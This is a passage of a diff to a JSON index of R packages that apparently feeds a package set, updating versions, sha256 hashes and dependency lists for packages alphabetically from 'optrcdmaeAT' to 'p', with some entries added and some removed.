"optrcdmaeAT": { "name": "optrcdmaeAT", - "version": "1.0.0", - "sha256": "16g4612mwyfsckn6l71fbrjnnjv4yvnac1cccbrn3k8jh07qgb1h", + "version": "1.0.1", + "sha256": "1l4z72c2c2v27bqc8n316p2zbq1268m78b6k7skwgn6ky83f6p3n", "depends": ["MASS", "Matrix", "igraph"] }, "optrefine": { @@ -97101,9 +96753,9 @@ }, "ordinalsimr": { "name": "ordinalsimr", - "version": "0.2.0", - "sha256": "0n6kqzgk4q7ylz1yj69r3zbm04n055szfgca8qd9q88gg7v0lqr8", - "depends": ["DT", "assertthat", "bslib", "callr", "coin", "config", "dplyr", "ggplot2", "golem", "magrittr", "rhandsontable", "rlang", "rms", "shiny", "shinyWidgets", "shinycssloaders", "tidyr", "withr"] + "version": "0.2.1", + "sha256": "1xjkmv77mc0sprbjrppd9wzkd4qqwnzd6ww91szdzv2igsnsi9lf", + "depends": ["DT", "assertthat", "bslib", "callr", "coin", "config", "dplyr", "ggplot2", "golem", "rhandsontable", "rlang", "rms", "shiny", "shinyWidgets", "shinycssloaders", "tidyr", "withr"] }, "ordr": { "name": "ordr", @@ -97435,6 +97087,12 @@ "sha256": "07mwml7r98qjgvrp938sqf7klyspz110583j0zwb72j69n4whmrj", "depends": ["Rdpack"] }, + "outlierMBC": { + "name": "outlierMBC", + "version": "0.0.1", + "sha256": "1biwqicics0yvdc6cdllj71cm60zjw8i9yhpgpzpm8sdz7vrsjbj", + "depends": ["ClusterR", "dbscan", "flexCWM", "ggplot2", "mixture", "mvtnorm", "spatstat_univar"] + }, "outlierensembles": { "name": "outlierensembles", "version": "0.1.3", @@ -97501,12 +97159,6 @@ "sha256": "01nsqzsgsnbx513lcb6lr94p7mlw0nnb6y02k2m04p35dqjxmfc5", "depends": ["spatstat_geom"] }, - "overture": { - "name": "overture", - "version": "0.4-0", - "sha256": "1s16x5kn0apb0w1f7hqzcsqvw3x621y5n6yr1qn7yb7431pdw3cz", - "depends": ["bigmemory"] - }, "overtureR": { "name": "overtureR", "version": "0.2.5", @@ -97557,8 +97209,8 @@ }, "ows4R": { "name": "ows4R", - "version": "0.4", - "sha256": "0isp6f4q900yzx2fbm3nflm7ngpvycz33a6i1zilcjxsbyjkhxxk", + "version": "0.5", + "sha256": "0kkx2c696q8xmk7djgas5p3kzzw50pkrvb3xals6wyl22220mvrs", "depends": ["R6", "XML", "crayon", "geometa", "httr", "keyring", "openssl", "sf", "terra"] }, "ox": { @@ -97767,8 +97419,8 @@ }, "packager": { "name": "packager", - "version": "1.15.2", - "sha256": "0kvlc0cn3v1wpffh4hn29q8jgfxxg4pcxnfnnhykbx13wilrvrph", + "version": "1.15.3", + "sha256": "06szcszp9qvc5ppdwxsq8m2qldyx1lk5d5ablvxgvx6sffdq00b4", "depends": ["callr", "checkmate", "codetools", "crayon", "cyclocomp", "desc", "fakemake", "fritools", "fs", "gert", "httr", "pkgbuild", "pkgload", "rcmdcheck", "remotes", "rhub", "rprojroot", "tinytest", "whisker", "whoami"] }, "packcircles": { @@ -97827,8 +97479,8 @@ }, "pacu": { "name": "pacu", - "version": "0.1.44", - "sha256": "0dfpqrlnnv571qzjdr528mwny8w94gvx9iv5r0l09xqxwvki2czc", + "version": "0.1.63", + "sha256": "1pyq429sq0g7zxc9zmnl823fj0fi1hd8a5x3zqdz9hb6qqdrpq0q", "depends": ["XML", "apsimx", "concaveman", "gstat", "httr", "jsonlite", "sf", "stars", "tmap", "units"] }, "padr": { @@ -97923,8 +97575,8 @@ }, "pak": { "name": "pak", - "version": "0.8.0.2", - "sha256": "07jfylf87cqb20cfczy369nlhmz8s3kdmyaz9sl7dp35vc8jy1bj", + "version": "0.9.0", + "sha256": "100im9syr6fdnkvviyrssgx2j4ass0wb4w3z21k1g0nrza1a3a25", "depends": [] }, "pakret": { @@ -97953,8 +97605,8 @@ }, "pald": { "name": "pald", - "version": "0.0.4", - "sha256": "1b24z6lls2z2c3mwmnbp3qjr63hc1css8d2zy61fzrc78v6v42am", + "version": "0.0.5", + "sha256": "027qjqyginqabj8bym7yzvza94j468579f5pd3i7q7i7y0n49zwn", "depends": ["glue", "igraph"] }, "paleoAM": { @@ -98095,12 +97747,6 @@ "sha256": "0wzaf6ang93mkb52pg49l126037ccsfvz7j4dhba9642xkbcln5a", "depends": ["Formula", "checkmate", "dplyr", "ggplot2", "lazyeval", "magrittr", "mgcv", "mvtnorm", "pec", "purrr", "rlang", "scam", "survival", "tibble", "tidyr", "vctrs"] }, - "pampe": { - "name": "pampe", - "version": "1.1.2", - "sha256": "092n04nrp886kd163v32f5vhp9r7gnayxzqb6pj57ilm5w1yrcsk", - "depends": ["leaps"] - }, "pamr": { "name": "pamr", "version": "1.57", @@ -98161,12 +97807,6 @@ "sha256": "0zj0m08518zi6xsa7qik61ys1qqa2lqiar4l7acclkw58w5zrmbc", "depends": ["Hmisc", "caret", "data_table"] }, - "panelaggregation": { - "name": "panelaggregation", - "version": "0.1.1", - "sha256": "0x8ldqb9216pclfvs4ymdpian43v2ydkyflpf0k6lcn35r04xfr6", - "depends": ["data_table"] - }, "panelhetero": { "name": "panelhetero", "version": "1.0.1", @@ -98221,12 +97861,6 @@ "sha256": "0lknj3r4kd8i4jlfi8q7p7fi2s009q8rryf0r44zxfxvr9nkmyxv", "depends": ["bookdown", "broom", "glue", "knitr", "rmarkdown", "rmdfiltr", "tinylabels", "yaml", "zip"] }, - "papci": { - "name": "papci", - "version": "0.1.0", - "sha256": "0ma1pfwgmj6qcg23yzhbnqip4qnxhsmfnvrgrr3ln65q5plmvh58", - "depends": ["DT", "Hmisc", "PropCIs", "binom", "dplyr", "ratesci", "readxl", "shiny", "shinythemes", "tidyverse"] - }, "papeR": { "name": "papeR", "version": "1.0-6", @@ -98301,8 +97935,8 @@ }, "parallelly": { "name": "parallelly", - "version": "1.44.0", - "sha256": "0nxbh86j75r2lyhvb95a51wfs9qbz6zcn25crkbjal774imvx0fh", + "version": "1.45.0", + "sha256": "03silxwvzd64gl1f2vchghwmb5jz3ib6p42v39nwhpfg0339q3sw", "depends": [] }, "parallelpam": { @@ -98343,8 +97977,8 @@ }, "paramix": { "name": "paramix", - "version": "0.0.1", - "sha256": "136c1pqk8plx5kzx12xbvd502hgqdlc169f9cjwkbr7p51mwhsyk", + "version": "0.0.2", + "sha256": "084i5xy88mr1cn7cjh1l82f56v1qk046jlz7syk6bcivvdf98wca", "depends": ["data_table"] }, "paramlink": { @@ -98445,8 +98079,8 @@ }, "parseLatex": { "name": "parseLatex", - "version": "0.3.0", - "sha256": "1v86rk9b8gb32yj9rl65cw5jcpy68cav42a2nrqhzba1ncvyp155", + "version": "0.4.1", + "sha256": "169qywvpw33532gaj7882md9fh87n6nwamhd58pnxbrn3ml60m6g", "depends": [] }, "parseRPDR": { @@ -98481,8 +98115,8 @@ }, "parsnip": { "name": "parsnip", - "version": "1.3.1", - "sha256": "1wmw2p3nx32pzf1lp0sp3glay1n3n1cxpiv0bfd1l8bgikxi8ims", + "version": "1.3.2", + "sha256": "1smhz12m7sc5vzsfcq5k9ff7jvqgfl91l5pv2a1ng9gq4kw5cl7v", "depends": ["cli", "dplyr", "generics", "ggplot2", "globals", "glue", "hardhat", "lifecycle", "magrittr", "pillar", "prettyunits", "purrr", "rlang", "sparsevctrs", "tibble", "tidyr", "vctrs", "withr"] }, "partDSA": { @@ -98583,8 +98217,8 @@ }, "parzer": { "name": "parzer", - "version": "0.4.2", - "sha256": "0544iijla39s147lf2yflgx1hnkhz8vj26mxy600mhmg44h43xgc", + "version": "0.4.3", + "sha256": "1sfw1pg4kv22fdba9xg7gckz3cry3fd4ww5j8c79rf3ss7np10vs", "depends": ["Rcpp", "withr"] }, "pasadr": { @@ -98685,8 +98319,8 @@ }, "pathfindR": { "name": "pathfindR", - "version": "2.4.2", - "sha256": "0hqkwwva49kc8w9y2nkw37vpnjr8mxb10pdx1mm76xm0nrj82kp5", + "version": "2.5.0", + "sha256": "1a59wqc733wi0sn6aaanwm2y6gjzvfp0b7wkcpk8zm6xxdzkkck8", "depends": ["AnnotationDbi", "DBI", "R_utils", "doParallel", "foreach", "fpc", "ggkegg", "ggplot2", "ggraph", "ggupset", "httr", "igraph", "knitr", "msigdbr", "org_Hs_eg_db", "pathfindR_data", "rmarkdown"] }, "pathfindR_data": { @@ -98805,8 +98439,8 @@ }, "paws_common": { "name": "paws.common", - "version": "0.8.3", - "sha256": "0sz5nbrp4dan0ng1v08f4lpwn2rlvnsyz1migx17cnqcyb4irwvr", + "version": "0.8.4", + "sha256": "11wsmrpca02x4jhg4msi3l0gk2jkpd4i0zk2pdxlsqry6v9hvjgm", "depends": ["Rcpp", "base64enc", "curl", "digest", "httr2", "jsonlite", "xml2"] }, "paws_compute": { @@ -99061,12 +98695,6 @@ "sha256": "0fkq43zwsyf36j4cx0kicnqq12i1mxqarchi9h7wwwb31lcyfzyl", "depends": ["Rcpp", "dplyr", "tibble"] }, - "pcdpca": { - "name": "pcdpca", - "version": "0.4", - "sha256": "0ys4hrin0w3f87d1d986wvrfkfwapzj9hz7d7v92r60ns74g7r5m", - "depends": ["fda", "freqdom"] - }, "pcds": { "name": "pcds", "version": "0.1.8", @@ -99249,8 +98877,8 @@ }, "pdfsearch": { "name": "pdfsearch", - "version": "0.4.1", - "sha256": "02kz05zxsb8x9ldfk57rvy41ga4iq03qv0v78dpnaqz2xfq45g5c", + "version": "0.4.3", + "sha256": "1ssl0jqcqc9hsl71aiixx2lcvjkm36av3irfmmxqac2520w2fk3d", "depends": ["pdftools", "readr", "stringi", "tibble", "tokenizers"] }, "pdftables": { @@ -99277,12 +98905,6 @@ "sha256": "0bvg8si81hs79v39d7svv4zbv2p0sk2r6m9vamibvkh9qvl4x406", "depends": [] }, - "pdmod": { - "name": "pdmod", - "version": "1.0.1", - "sha256": "04bk9gjg2c55hk6k1hy0m29927s8a5ig6mr4xb89npam68g0pcms", - "depends": ["mco"] - }, "pdp": { "name": "pdp", "version": "0.8.2", @@ -99381,8 +99003,8 @@ }, "pedbp": { "name": "pedbp", - "version": "2.0.2", - "sha256": "00h4ddmrssx2axaf7p0ak41hxa85mwl7j5mpwnncdnch9pkj09jw", + "version": "2.0.3", + "sha256": "05jm4rx4b9vk3rqglk2jg6cp4k1cjsfmml09jqrldsk72pcvbmyl", "depends": ["Rcpp", "RcppArmadillo", "ggplot2", "scales"] }, "pedbuildr": { @@ -99487,12 +99109,6 @@ "sha256": "1hvqszfnqwbya73fs36d8mqz277nfbgrwga5z9jfxdnkalxw5bxq", "depends": [] }, - "pems_utils": { - "name": "pems.utils", - "version": "0.3.0.7", - "sha256": "0r6s0y67i5s6ld32l4bylgw7bp7akgizlq1jcf2ik69hy9cwsd83", - "depends": ["baseline", "dplyr", "ggplot2", "lattice", "loa", "rlang", "tibble"] - }, "pemultinom": { "name": "pemultinom", "version": "0.1.1", @@ -99549,8 +99165,8 @@ }, "pencal": { "name": "pencal", - "version": "2.2.4", - "sha256": "04cgqylydhmpgzvnaqcqfhpa6nw4x39vhdlhdvzwa744f7x39xhm", + "version": "2.3.0", + "sha256": "09irlxfb834lklby2hxg35q17h3ch99c6iwwh3f7m0mjpl809pdl", "depends": ["MASS", "Matrix", "doParallel", "dplyr", "foreach", "glmnet", "lcmm", "magic", "nlme", "purrr", "riskRegression", "survcomp", "survival", "survivalROC"] }, "pencopulaCond": { @@ -99697,12 +99313,6 @@ "sha256": "0djmhbmjxq1id1qdnalndmvb9zqy5vhbsapk9zf2mv5z4rnkycyk", "depends": [] }, - "permGS": { - "name": "permGS", - "version": "0.2.5", - "sha256": "0d2kp3c1fmnjjmsvc2qwh6m66yqvy2vrrxgv1fj2i4clsbavfa0y", - "depends": ["coin", "survival"] - }, "permPATH": { "name": "permPATH", "version": "1.3", @@ -99865,12 +99475,6 @@ "sha256": "00kgc9m39hwmkfyk7c4jm4fpgfyfr0v1w8cy193n33ark6vzjqs7", "depends": ["Hmisc", "RColorBrewer", "digest", "dplyr", "ggplot2", "lavaan", "mitools", "mix", "mvtnorm", "nlme", "plyr", "psych", "purrr", "reshape2", "scales", "stringr", "tidyselect", "viridisLite", "xtable"] }, - "petitr": { - "name": "petitr", - "version": "1.0", - "sha256": "0i13zhdrdka0ij0khdzj6ylvvcn4wxvplb8a368i1s64cpgak30c", - "depends": [] - }, "petrinetR": { "name": "petrinetR", "version": "0.3.0", @@ -100039,6 +99643,12 @@ "sha256": "1h5d5ky5pb83rrss16mg8l9s8mk6l1alw3jga5mx5xmg5ii8w6jf", "depends": [] }, + "pharmaverseraw": { + "name": "pharmaverseraw", + "version": "0.1.0", + "sha256": "1zrhckdbhf30lvf2lpr7208nkv4yb7547asr8clnyrhxpfzm9qp9", + "depends": [] + }, "pharmaversesdtm": { "name": "pharmaversesdtm", "version": "1.2.0", @@ -100095,8 +99705,8 @@ }, "pheatmap": { "name": "pheatmap", - "version": "1.0.12", - "sha256": "1hdh74az3vyzz6dqa311rhxdm74n46lyr03p862kn80p0kp9d7ap", + "version": "1.0.13", + "sha256": "1xs265c5lb15ahsm5l9mnrzcb5c2qaw9g2n9bks28xkqbx64vhsa", "depends": ["RColorBrewer", "gtable", "scales"] }, "phecodemap": { @@ -100113,8 +99723,8 @@ }, "phenesse": { "name": "phenesse", - "version": "0.1.2", - "sha256": "1f5m8pq1n6x9ic4b0cb7j3dwfn1xfkbbpn0zr32frkiai3jmzv3j", + "version": "0.1.3", + "sha256": "1mb23grvy2d5aly2ncvdm6k0mzj1d6hjm5yx2vy3bk4dzx3m1gzd", "depends": ["boot", "fitdistrplus"] }, "phenex": { @@ -100149,8 +99759,8 @@ }, "phenofit": { "name": "phenofit", - "version": "0.3.9", - "sha256": "1b6laz7idd4cbliidv0xqz0k1h5f2f0v9lz82qhsy7p7pm9zagi6", + "version": "0.3.10", + "sha256": "096y48gvlxdsn00gf4gn39gxd10kcdzpdbgs5lhqhcpsakxfalv6", "depends": ["Rcpp", "RcppArmadillo", "data_table", "dplyr", "ggplot2", "gridExtra", "lubridate", "magrittr", "numDeriv", "optimx", "purrr", "stringr", "ucminf", "zeallot", "zoo"] }, "phenolocrop": { @@ -100191,8 +99801,8 @@ }, "phia": { "name": "phia", - "version": "0.3-1", - "sha256": "1lsprm49njwp0gfn4knvwdq7d5lpq4irhysl8f26glcz9x929sff", + "version": "0.3-2", + "sha256": "0pljsvn2zmszn2p41wajsff5an6n7fy4w04iriyklzq5cx6l9fa5", "depends": ["Matrix", "car"] }, "philentropy": { @@ -100263,9 +99873,9 @@ }, "photobiology": { "name": "photobiology", - "version": "0.12.0", - "sha256": "0hc67q09802h63xh3cgn2a31r9d6rlc62rdn450241gr5k1c9pr0", - "depends": ["SunCalcMeeus", "dplyr", "lubridate", "plyr", "polynom", "rlang", "splus2R", "stringr", "tibble", "tidyr", "zoo"] + "version": "0.13.0", + "sha256": "00k01z75a872w3zhwzq903q6lqj458snmmf7j3nak33rkyx67czw", + "depends": ["SunCalcMeeus", "caTools", "dplyr", "lubridate", "plyr", "polynom", "rlang", "splus2R", "stringr", "tibble", "tidyr", "zoo"] }, "photobiologyFilters": { "name": "photobiologyFilters", @@ -100495,12 +100105,6 @@ "sha256": "092kvn32j06vm8ilwjkgidcz11r3qhsmi0cb0g0nnykw0a0vii4p", "depends": [] }, - "phylotools": { - "name": "phylotools", - "version": "0.2.2", - "sha256": "1dhk1ncp5zi4zl1xfnjz64v983dm7bq7iimfjin80j0bdcpps44w", - "depends": ["ape"] - }, "phylotypr": { "name": "phylotypr", "version": "0.1.1", @@ -100551,8 +100155,8 @@ }, "picR": { "name": "picR", - "version": "1.0.0", - "sha256": "0x5a9qgn66w06sl2c448ricby1bqiw3cpli1mnpslanym7m60nsb", + "version": "1.0.1", + "sha256": "0kqb80f0n5d4ivfbzy4a983arpxc0b0nkqcnmnzd5r7vb9gij9jf", "depends": [] }, "picante": { @@ -100875,14 +100479,14 @@ }, "pkgbuild": { "name": "pkgbuild", - "version": "1.4.7", - "sha256": "1zllip5mkfx5gzq9vahmakl6iz7vdnl7xnsfcr0hhfbznf43i801", + "version": "1.4.8", + "sha256": "1jr4k43vj62hw8ak076pky7a68gz2kz6rwqzyd9c83z95hh5jhif", "depends": ["R6", "callr", "cli", "desc", "processx"] }, "pkgcache": { "name": "pkgcache", - "version": "2.2.3", - "sha256": "1isvbb2l6l2wk2grh7cz85q80nbghp5287jr137sal4gviprgk7v", + "version": "2.2.4", + "sha256": "00ly737hg16jy426p49393ldkscc5ldmfzag1ccy8l0lnajkq60k", "depends": ["R6", "callr", "cli", "curl", "filelock", "jsonlite", "processx"] }, "pkgcond": { @@ -100905,8 +100509,8 @@ }, "pkgdepends": { "name": "pkgdepends", - "version": "0.8.0", - "sha256": "025ni959zvqfaxs6af9pka7gn23yzgbabpy28bsa45v75hi4i79m", + "version": "0.9.0", + "sha256": "05jsg28acrw81llrj3hg09xwblxb63qlcpzxdfrlpan1pd43pr8a", "depends": ["R6", "callr", "cli", "curl", "desc", "filelock", "jsonlite", "lpSolve", "pkgbuild", "pkgcache", "processx", "ps", "zip"] }, "pkgdiff": { @@ -100917,14 +100521,14 @@ }, "pkgdown": { "name": "pkgdown", - "version": "2.1.2", - "sha256": "1ycmd5xk6hwz92dlvrb8avvcwa2h1asmmhn5xs409pp8a0hwmsfp", + "version": "2.1.3", + "sha256": "13mcy41a1pfj2my2jb4kv8dvjbkx00rli0v1a45cr1zalf54raks", "depends": ["bslib", "callr", "cli", "desc", "downlit", "fontawesome", "fs", "httr2", "jsonlite", "openssl", "purrr", "ragg", "rlang", "rmarkdown", "tibble", "whisker", "withr", "xml2", "yaml"] }, "pkgdown_offline": { "name": "pkgdown.offline", - "version": "0.1.0", - "sha256": "02f3n02nnibf56gsdp9whdbbxc1gy12jzl2jvwc3npd47znpm74f", + "version": "0.1.1", + "sha256": "0wwyhw6dfh9dhpnxgc5wg5lfi1f2w5xpbkljll5gv4x1fh6yrkdc", "depends": ["pkgdown"] }, "pkgfilecache": { @@ -101079,16 +100683,10 @@ }, "plasma": { "name": "plasma", - "version": "1.1.4", - "sha256": "14bp3l9rys0yfjl8lkbn0yw2qivldwfk9j5ka63bps5l2bw9m1b5", + "version": "1.1.5", + "sha256": "1v085di0d3hlj0njirvdxvlr8mzz3w7kbr27dgxdqw6fl6gl40nm", "depends": ["Polychrome", "beanplot", "oompaBase", "pls", "plsRcox", "survival", "viridisLite"] }, - "plasso": { - "name": "plasso", - "version": "0.1.2", - "sha256": "09pc210wb98xnhm9wxsqvf217gysj9c2piwwhzxdp3lxb3my533x", - "depends": ["Matrix", "doParallel", "foreach", "glmnet", "iterators"] - }, "plater": { "name": "plater", "version": "1.0.5", @@ -101361,9 +100959,9 @@ }, "plotor": { "name": "plotor", - "version": "0.5.2", - "sha256": "18997ayhqiw32gw4l3xmzzf8yf4659ajl18rsibqhb87kcasc3l0", - "depends": ["broom", "cli", "dplyr", "forcats", "ggplot2", "glue", "purrr", "rlang", "scales", "stringr", "tidyselect"] + "version": "0.6.0", + "sha256": "05l57vhza3yalwj3ja0swbarrqqsg5bw1d8l3knn2r5fn3ykrx37", + "depends": ["broom", "car", "cli", "detectseparation", "dplyr", "forcats", "ggplot2", "glue", "gt", "gtExtras", "janitor", "purrr", "rlang", "scales", "stringr", "tibble", "tidyselect"] }, "plotpc": { "name": "plotpc", @@ -101397,8 +100995,8 @@ }, "plotthis": { "name": "plotthis", - "version": "0.6.1", - "sha256": "0fj5v7rzx8hcc8l2s6zfvrgwzmiw2pwrs34qbpxh4kmmxz8i14gk", + "version": "0.7.0", + "sha256": "1rhw5d97asw4qkqcbgb7xlgax4xfwi3dzwfnyf0mxb4wqcl1aybl", "depends": ["circlize", "cowplot", "dplyr", "forcats", "ggnewscale", "ggplot2", "ggrepel", "glue", "gridtext", "gtable", "patchwork", "reshape2", "rlang", "scales", "stringr", "tidyr", "zoo"] }, "plotwidgets": { @@ -101485,12 +101083,6 @@ "sha256": "00kbyi5qqm51wsli3h8kfshjs99wa602rbmi1jss65vw3p1jhsqs", "depends": ["amap", "diagram", "shape", "tester", "turner"] }, - "pltesim": { - "name": "pltesim", - "version": "1.0", - "sha256": "0mvqp8di2gwhd9wc9kvnnpxd3hkr9b9lj6g5qlkqcbrgkq6fjahs", - "depends": ["coreSim", "ggplot2"] - }, "plu": { "name": "plu", "version": "0.3.0", @@ -101805,8 +101397,8 @@ }, "poisbinom": { "name": "poisbinom", - "version": "1.0.1", - "sha256": "0mjxg0s3nck7qrmq4bbrhwxfwr6fqml54s9k8q1mkfzlifa7qyf7", + "version": "1.0.2", + "sha256": "05ihf4jcw3n2pf1v5jz3drn14r0bhaqc17v52bsxsv7bg6vjr22f", "depends": ["Rcpp"] }, "poismf": { @@ -101851,6 +101443,12 @@ "sha256": "0zrcas4g2xfjcgn59ka7yv22bgvbpl00bik53xabixdzjb0irn78", "depends": ["shiny"] }, + "polarzonoid": { + "name": "polarzonoid", + "version": "0.1-2", + "sha256": "1rwcnyviifi07yi4ggfzg035v9q61lq65c5z8480dy8z7kfssln7", + "depends": ["logger"] + }, "poldis": { "name": "poldis", "version": "0.1.2", @@ -101997,8 +101595,8 @@ }, "polykde": { "name": "polykde", - "version": "1.1.3", - "sha256": "10qymk31iq7c9ia41ycgbrmgbk9nvgyqhpvdgz6phxzzmydv75kx", + "version": "1.1.4", + "sha256": "02gw7xwyfdblf13b9r4ww6v46l5kff6irzsnnv5afgjf71n7fw9c", "depends": ["Rcpp", "RcppArmadillo", "RcppProgress", "abind", "doFuture", "foreach", "future", "gsl", "movMF", "progressr", "rotasym", "sphunif"] }, "polylabelr": { @@ -102069,8 +101667,8 @@ }, "pomdp": { "name": "pomdp", - "version": "1.2.4", - "sha256": "0r9sh9954nl38nk465h8dgs4yd40s0xr6q1q5smlbgzc9rcrv228", + "version": "1.2.5", + "sha256": "0kynzc5s8wqx5ib7d57shrjbfczwrh7yy1g92774biqn020jrrzr", "depends": ["Matrix", "Rcpp", "foreach", "igraph", "pomdpSolve", "processx"] }, "pomdpSolve": { @@ -102151,12 +101749,6 @@ "sha256": "1p70b4mbzgwazgqk33s7xa1cic1fl23rzg2m8p6cqg1sgiwbd719", "depends": ["DiagrammeR", "Matrix", "Rcpp", "RcppProgress", "Ryacas", "ape", "data_table", "doParallel", "foreach", "nnls", "progress"] }, - "pooling": { - "name": "pooling", - "version": "1.1.2", - "sha256": "19mrzax3k35fhgjpnlrigf0nscsdl3xb7k82s5q472k4bcz7ya5b", - "depends": ["cubature", "data_table", "dplyr", "dvmisc", "ggplot2", "ggrepel", "mvtnorm", "numDeriv"] - }, "poolr": { "name": "poolr", "version": "1.2-0", @@ -102333,8 +101925,8 @@ }, "portion": { "name": "portion", - "version": "0.1.1", - "sha256": "1dv6s402xnnghw1df6b3664bwaq4wlmwc0gq121jk405xcjlmvz5", + "version": "0.1.2", + "sha256": "10jfay9hb5c0qw3jic4wg7i45wfvfv79rj74yhbya8afl8xldj0f", "depends": [] }, "portn": { @@ -102357,9 +101949,9 @@ }, "positron_tutorials": { "name": "positron.tutorials", - "version": "0.1.2", - "sha256": "0cfdqj331ga9s2yvkrqqynp4vfv5h7vsc4457vdy0snliqwv0z46", - "depends": ["dplyr", "mime", "purrr", "rvest", "tibble"] + "version": "0.2.0", + "sha256": "1pjn0jwm6q9543rajc1kal8bvah1dcim775ydrcpqfbq4x7br7a5", + "depends": ["tutorial_helpers", "usethis"] }, "posologyr": { "name": "posologyr", @@ -102397,12 +101989,6 @@ "sha256": "1605yy7rh5vn1sydwawjb2p586i1zh6j4ibj3srb2rjij0pn4xil", "depends": ["curl", "jsonlite", "katex", "prismjs", "xml2"] }, - "posterdown": { - "name": "posterdown", - "version": "1.0", - "sha256": "13plrrnylw3yldm0md1gr5drccfjk9f2wwlhz6lrmb3px7w5nqs0", - "depends": ["pagedown", "rmarkdown", "yaml"] - }, "posterior": { "name": "posterior", "version": "1.6.1", @@ -102487,12 +102073,6 @@ "sha256": "0apnaszi8whj5sad9jmwc52jsgcav9zx8af7r7mxh2czkcwaavs0", "depends": ["cli", "future", "future_apply", "ggplot2", "lavaan", "lifecycle", "progressr", "rlang"] }, - "powdR": { - "name": "powdR", - "version": "1.3.0", - "sha256": "1bkx43xd46gzgiphknqyz2nyvviia0xkn4h8z4k2dwcfq92iwsbw", - "depends": ["DT", "FactoMineR", "baseline", "factoextra", "ggplot2", "ggpubr", "nnls", "plotly", "plyr", "reshape", "rxylib", "shiny", "shinyWidgets", "tidyr"] - }, "powdist": { "name": "powdist", "version": "0.1.4", @@ -102609,8 +102189,8 @@ }, "powertools": { "name": "powertools", - "version": "0.1.2", - "sha256": "06sdbd7m4q470xrn91npml2yzcab0nch26lg4s69bd7xrjdch2jw", + "version": "0.1.3", + "sha256": "083spfqf09h6589ms6ckwbl48c7fs6qmkmwdmh64f2i30p37i0dh", "depends": ["Hmisc", "PowerTOST", "knitr", "mvtnorm"] }, "ppRank": { @@ -102657,8 +102237,8 @@ }, "ppendemic": { "name": "ppendemic", - "version": "0.1.8", - "sha256": "1glk6l78pb4076a059api2a963yfly5d47dc4pkf6bj3df927l10", + "version": "0.1.9", + "sha256": "1j04rrwsnw3slb3nzfrw52ixz0kjyvlf39mwhwzyd0c6vsia2lss", "depends": ["assertthat", "dplyr", "fuzzyjoin", "memoise", "progress", "purrr", "readr", "stringr", "tibble", "tidyr"] }, "ppgam": { @@ -102745,12 +102325,6 @@ "sha256": "0k8y8vk8y0nnp1w26h7q9xyfbdx2q61ijnwh202j76wq6znr8yva", "depends": ["ggplot2", "gridExtra", "parsnip", "rpart", "withr"] }, - "pqantimalarials": { - "name": "pqantimalarials", - "version": "0.2", - "sha256": "0azxkf1rvk9cyzr4gbp4y2vcxrxw3d4f002d5gjkvv1f4kx8faw1", - "depends": ["RColorBrewer", "plyr", "reshape2", "shiny"] - }, "pql": { "name": "pql", "version": "0.1.0", @@ -102955,6 +102529,12 @@ "sha256": "0kizp3d4xq576b97m3x8jgfnxfhgr8ldgiv72ykf4ns07743nzix", "depends": ["HRW", "MASS", "Matrix", "car", "ggplot2", "glmmTMB", "lme4", "lmeInfo", "lmeSplines", "lmerTest", "nlme", "numDeriv", "pbkrtest", "plotly", "plyr", "reformulas", "splines2"] }, + "predictoR": { + "name": "predictoR", + "version": "4.1.5", + "sha256": "12f003yhdg6hw7nx943licws4z0w4ak44mz1wryy50r3221rdrjz", + "depends": ["DT", "colourpicker", "config", "dplyr", "echarts4r", "glmnet", "golem", "htmltools", "loadeR", "rlang", "rpart_plot", "shiny", "shinyAce", "shinycustomloader", "shinydashboard", "shinydashboardPlus", "shinyjs", "traineR", "xgboost"] + }, "predictrace": { "name": "predictrace", "version": "2.0.1", @@ -103227,8 +102807,8 @@ }, "primarycensored": { "name": "primarycensored", - "version": "1.1.0", - "sha256": "10dsv71wwkcwxanbaxa1bahj1m64z42rghjqvplifs791rwvgmmy", + "version": "1.2.0", + "sha256": "1afj8rm3rmxhnxzpb5hpsfna02gkld0103fggblq715l6jpbvwzf", "depends": ["lifecycle", "pracma", "rlang"] }, "primate": { @@ -103549,6 +103129,12 @@ "sha256": "1pzgmsn961aq6nxyi7f884hazxvf0d9szqiyv7945ap7kc9knyqd", "depends": ["rlang", "tibble", "vctrs", "withr"] }, + "profileCI": { + "name": "profileCI", + "version": "1.0.0", + "sha256": "08akp2wdb4iy15b8k0ncwwmpbb9ipc52hp8jnr25mbaanbsgaqnf", + "depends": ["itp"] + }, "profileModel": { "name": "profileModel", "version": "0.6.1", @@ -103677,8 +103263,8 @@ }, "promises": { "name": "promises", - "version": "1.3.2", - "sha256": "1gal4rgnrb4k8ws8zbwyrzsmjslrpnw77max7x6ifwsdnmzb1mcl", + "version": "1.3.3", + "sha256": "07k4qd01kkjl983lvhnh3mcqa0ahdbpzm0ds0qfjpxphidl5g8j6", "depends": ["R6", "Rcpp", "fastmap", "later", "magrittr", "rlang"] }, "promor": { @@ -103735,6 +103321,12 @@ "sha256": "0q72z9vbkpll4i3wy3fq06rz97in2cm3jjnvl6p9w8qc44zjlcyl", "depends": ["Biobase"] }, + "propagate": { + "name": "propagate", + "version": "1.0-7", + "sha256": "0j1bwn7bzh9qahajcbf4v1sydwx9z1wvxvvblmm9rz9m7firxpbz", + "depends": ["MASS", "Rcpp", "ff", "minpack_lm", "tmvtnorm"] + }, "properties": { "name": "properties", "version": "0.0-9", @@ -104001,9 +103593,9 @@ }, "psc": { "name": "psc", - "version": "1.2.0", - "sha256": "10np3kr0kfly1rv9v0xvwg6ddrzpjhhhn8cmjvsr2rqn8is99v11", - "depends": ["enrichwith", "flexsurv", "ggplot2", "mvtnorm", "survival", "survminer"] + "version": "1.3.0", + "sha256": "00222jkc7fgb1vfvhlssnsgw7jdpynailddnmrqzw6h8mddsrqzs", + "depends": ["RColorBrewer", "enrichwith", "flexsurv", "ggplot2", "gtsummary", "mvtnorm", "survival", "survminer", "waffle"] }, "pscl": { "name": "pscl", @@ -104235,8 +103827,8 @@ }, "psychonetrics": { "name": "psychonetrics", - "version": "0.13", - "sha256": "0yrpw1dcz8mzfydv48dk4liqhfcwqh3s7c9xpfcniisab5hvq3m6", + "version": "0.13.1", + "sha256": "195sni21nc8crh284208xflvn3xw8aajsi26mpgcbxvi5zq1c5qy", "depends": ["GA", "IsingSampler", "Matrix", "Rcpp", "RcppArmadillo", "VCA", "abind", "combinat", "corpcor", "dplyr", "glasso", "lavaan", "magrittr", "mgcv", "numDeriv", "optimx", "pbapply", "pbv", "psych", "qgraph", "rlang", "roptim", "tidyr"] }, "psychotools": { @@ -104431,6 +104023,12 @@ "sha256": "14wkqxgi8vi5szd01j5q5vis07zav22wljy32g3vljxyn8jyz0pf", "depends": 